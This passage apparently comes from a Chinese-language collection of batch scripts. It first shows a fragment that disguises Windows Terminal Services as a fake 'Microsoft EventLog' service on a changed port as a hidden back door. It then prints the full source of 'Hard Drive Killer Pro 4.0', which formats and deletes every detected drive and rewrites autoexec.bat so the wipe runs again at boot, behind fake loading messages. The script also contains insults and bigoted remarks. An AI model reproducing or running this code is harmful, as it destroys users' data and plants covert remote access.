@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
```

```
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改 3389 连接，端口为 8210(十六进制为 00002012)，名称为 Microsoft EventLog，留条后路]
```

3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）

```
---------- cut here then save as .bat or .cmd file ----------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
```

```
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . .
>>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0.
>>c:\autoexec.bat
```

```
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to
tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted.
>>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did!
>>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is
dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal
Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a
>>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not
exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%
%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%
%2\%%2\%%2\%%2\nul goto
startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for
further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
```

```
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get
out of here).
```